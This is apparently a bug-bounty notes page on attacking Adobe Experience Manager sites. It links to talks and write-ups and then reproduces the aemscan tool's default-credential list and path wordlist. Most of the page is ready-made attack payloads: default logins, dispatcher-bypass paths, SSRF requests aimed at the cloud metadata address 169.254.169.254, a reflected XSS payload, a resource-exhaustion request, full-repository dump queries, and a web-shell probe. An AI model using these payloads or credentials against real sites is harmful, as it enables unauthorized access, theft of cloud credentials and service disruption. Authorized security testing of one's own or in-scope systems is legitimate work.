AEMusefulKnowledges

Slides

https://www.slideshare.net/0ang3el/aem-hacker-approaching-adobe-experience-manager-webapps-in-bug-bounty-programs https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=57

Video

https://www.youtube.com/watch?v=RFzO2506S5g (from https://hackerone.com/reports/672243)

Amazing WriteUps

https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c

author = 'raz0r' (via aemscan repo)

/usr/local/lib/python2.7/dist-packages/aemscan-1.0-py2.7.egg/aemscan/data/aem-default-creds.txt

admin:admin
author:author
anonymous:anonymous
replication-receiver:replication-receiver
jdoe@geometrixx.info:jdoe
aparker@geometrixx.info:aparker

/usr/local/lib/python2.7/dist-packages/aemscan-1.0-py2.7.egg/aemscan/data/aem-paths.txt

/system/sling.js
/system/sling/info.sessionInfo.json
/system/sling/info.sessionInfo.txt
/jcr:content.json
/.json
/.1.json
/.infinity.json
/.xml
/.1.xml
/.feed.xml
/content.json
/content.1.json
/content.infinity.json
/content.xml
/content.1.xml
/content.feed.xml
/apps.json
/apps.1.json
/apps.infinity.json
/apps.xml
/apps.1.xml
/apps.feed.xml
/bin.json
/bin.1.json
/bin.infinity.json
/bin.xml
/bin.1.xml
/bin.feed.xml
/etc.json
/etc.1.json
/etc.infinity.json
/etc.xml
/etc.1.xml
/etc.feed.xml
/home.json
/home.1.json
/home.infinity.json
/home.xml
/home.1.xml
/home.feed.xml
/libs.json
/libs.1.json
/libs.infinity.json
/libs.xml
/libs.1.xml
/libs.feed.xml
/var.json
/var.1.json
/var.infinity.json
/var.xml
/var.1.xml
/var.feed.xml
/var/classes.json
/var/classes.1.json
/var/classes.infinity.json
/var/classes.xml
/var/classes.1.xml
/var/classes.feed.xml
/bin/querybuilder.json
/system/console
/system/console/configMgr
/system/admin
/system/sling/cqform/defaultlogin.html
/crx/de/index.jsp
/crx/
/etc/packages
/etc/replication
/etc/cloudservices
/content/geometrixx
/content/geometrixx-outdoors/en.html
/libs/cq/core/content/login.html
/libs/cq/core/content/welcome.html
/bin/querybuilder.json/a.css
/bin/querybuilder.json/a.html
/bin/querybuilder.json/a.ico
/bin/querybuilder.json/a.png
/bin/querybuilder.json;%0aa.css
/bin/querybuilder.json/a.1.json
/system/sling/loginstatus.json
/system/sling/loginstatus.css
/system/sling/loginstatus.png
/system/sling/loginstatus.gif
/system/sling/loginstatus.html
/system/sling/loginstatus.json/a.1.json
/system/sling/loginstatus.json;%0aa.css
/system/bgservlets/test.json
/system/bgservlets/test.css
/system/bgservlets/test.png
/system/bgservlets/test.gif
/system/bgservlets/test.html
/system/bgservlets/test.json/a.1.json
/system/bgservlets/test.json;%0aa.css
///bin///querybuilder.json
///bin///querybuilder.json.servlet
///bin///querybuilder.json/a.css
///bin///querybuilder.json.servlet/a.css
///bin///querybuilder.json/a.ico
///bin///querybuilder.json.servlet/a.ico
///bin///querybuilder.json;%0aa.css
///bin///querybuilder.json.servlet;%0aa.css
///bin///querybuilder.json/a.1.json
///bin///querybuilder.json.servlet/a.1.json
///bin///querybuilder.json.css
///bin///querybuilder.json.ico
///bin///querybuilder.json.html
///bin///querybuilder.json.png
///bin///querybuilder.feed.servlet
///bin///querybuilder.feed.servlet/a.css
///bin///querybuilder.feed.servlet/a.ico
///bin///querybuilder.feed.servlet;%0aa.css
///bin///querybuilder.feed.servlet/a.1.json
///bin///wcm/search/gql.servlet.json
///bin///wcm/search/gql.json
///bin///wcm/search/gql.json/a.1.json
///bin///wcm/search/gql.json;%0aa.css
///bin///wcm/search/gql.json/a.css
///bin///wcm/search/gql.json/a.ico
///bin///wcm/search/gql.json/a.png
///bin///wcm/search/gql.json/a.html
///system///sling/loginstatus.json
///system///sling/loginstatus.json/a.css
///system///sling/loginstatus.json/a.ico
////system///sling/loginstatus.json;%0aa.css
///system///sling/loginstatus.json/a.1.json
///system///sling/loginstatus.css
///system///sling/loginstatus.ico
///system///sling/loginstatus.png
///system///sling/loginstatus.html
/libs/cq/contentinsight/content/proxy.reportingservices.json
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a
/libs/mcm/salesforce/customer.json
/libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html/a.1.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json/a.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json/a.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/mcm/salesforce/customer.json/a.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json
/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css
/bin/wcm/contentfinder/connector/suggestions.json/a.html?query_term=path%3a/&pre=%3Csvg+onload%3dalert(document.domain)%3E&post=yyyy
/.ext.infinity.json
/.ext.infinity.json?tidy=true
/bin/querybuilder.json?type=nt:base&p.limit=-1
/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=
/content.assetsearch.json?query=*&start=0&limit=10&random=123
/..assetsearch.json?query=*&start=0&limit=10&random=123
/system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=111111111
/content.ext.infinity.1..json?tidy=true
/libs/dam/cloud/proxy.json
/crx/repository/test
/.json
/.1.json
/.childrenlist.json
/.ext.json
/.4.2.1...json
/.json/a.css
/.json/a.html
/.json/a.png
/.json/a.ico
/.json;%0aa.css
/content.json
/content.1.json
/content.childrenlist.json
/content.ext.json
/content.4.2.1...json
/content.json/a.css
/content.json/a.html
/content.json/a.png
/content.json/a.ico
/content.json;%0aa.css
/bin.json
/bin.1.json
/bin.childrenlist.json
/bin.ext.json
/bin.4.2.1...json
/bin.json/a.css
/bin.json/a.html
/bin.json/a.png
/bin.json/a.ico
/bin.json;%0aa.css
/content/usergenerated/etc/commerce/smartlists
/etc.childrenlist.json
/etc/cloudsettings.-1.json
/bin/backdoor.html?cmd=ifconfig
/libs/mcm/salesforce/customer.json
/libs/opensocial/proxy?.css
/etc/mobile/useragent-test.html
/etc/reports/diskusage.html

More paths

https://github.com/emadshanab/Adobe-Experience-Manager/blob/main/aem-paths.txt